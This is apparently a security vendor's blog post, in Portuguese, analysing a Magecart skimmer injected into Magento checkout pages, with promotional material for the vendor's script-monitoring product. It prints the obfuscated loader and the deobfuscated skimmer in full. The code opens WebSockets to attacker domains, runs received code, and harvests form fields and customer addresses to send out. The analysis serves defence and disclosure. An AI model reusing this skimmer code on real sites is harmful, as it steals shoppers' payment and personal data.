Skip to main content
Blog
Blog Attacks

Novo código de ataque Magecart revelado

No dia 14 de outubro, publicámos um artigo sobre como mais um ataque Magecart ao Magento estava a acontecer. Na altura, identificámos apenas um script como responsável. Hoje, conseguimos encontrar e analisar o ataque com mais detalhe. O ataque decodificado Este foi o código injetado: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 Atualizado Jul 20, 2026 4 min read
new-magecart-attack-image-cover
Índice

Resumo: análise de skimmer ofuscado

  • Aleatório de propósito: O script injetado parece um array aleatório de 30 bytes e é precisamente esse o objetivo, porque as verificações de hash e a revisão humana escapam a código montado em tempo de execução através de aritmética XOR e reconstrução via String.fromCharCode.
  • Desofuscado automaticamente: O payload abre uma ligação WebSocket para wss://gstatlc[.]org/jivo e só é ativado na rota onestepcheckout do Magento, e o motor da cside desofusca-o e desempacota-o automaticamente em vez de esperar que um investigador publique uma análise.
  • Verifique a sua ferramenta: Se o seu processo de revisão depende de ler ficheiros de origem a olho nu, os skimmers ofuscados permanecem invisíveis durante meses, por isso decida se a sua ferramenta desofusca mesmo os payloads sozinha ou apenas os reencaminha adiante.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

No dia 14 de outubro, publicámos um artigo sobre como mais um ataque Magecart ao Magento estava a acontecer. Na altura, identificámos apenas um script como responsável.

Hoje, conseguimos encontrar e analisar o ataque com mais detalhe.

O ataque decodificado

Este foi o código injetado:

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

Ao decodificar este script ofuscado, descobrimos que ele estabelece uma ligação WebSocket com o seguinte URL: wss://gstatlc[.]org/jivo?source=.

Suspeitámos então que o ataque teria como objetivo o web skimming, ou seja, o roubo de dados de clientes como informações de cartão de crédito.

Depois encontrámos o seguinte script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

Isto conduz a código ofuscado, que a nossa plataforma cside desofusca automaticamente. Encontrámos várias funções destinadas a capturar dados.

// Função para decodificar os seletores
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Função para verificar se elementos específicos estão presentes na página
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Função para gerar um identificador único
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Função para codificar dados em hexadecimal
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Função para recolher dados do formulário
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Tentativa de recolher dados de endereço do cliente, se disponíveis
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignorar erros */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Intervalo para verificar e enviar dados repetidamente
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

Ali estava ainda outro domínio malicioso: wss://adsprove[.]online/ws.

Todas estas funções comprovam que o script visa efetivamente diversas entradas de visitantes desprevenidos. Também demonstra que monitorizar e bloquear estas tentativas do lado do cliente é essencial para identificar e travar estes ataques.

Como proteger o seu site

A cside foi fundada para travar este tipo de ataques. Qualquer script de terceiros presente no seu site que esteja comprometido pode ser detetado e bloqueado por nós antes de ser executado no navegador dos seus visitantes. Isto protege-os a eles, e a si, de agentes maliciosos.

Ao usar o nosso plano gratuito, fica protegido contra este e outros ataques semelhantes.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Agende uma demo personalizada para ver:

Como alcançar a conformidade com os requisitos 6.4.3 e 11.6.1 do PCI DSS em 1 dia
Por que scripts de terceiros são um risco de segurança para você e seus visitantes
Como monitorar vazamentos de privacidade e consentimento (RGPD, CCPA) em cada terceiro
Como conter abuso de cadastros, compartilhamento de contas e fraude de chargeback com device intelligence
Como detectar e controlar agentes de IA e bots que acessam seu site em tempo real

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário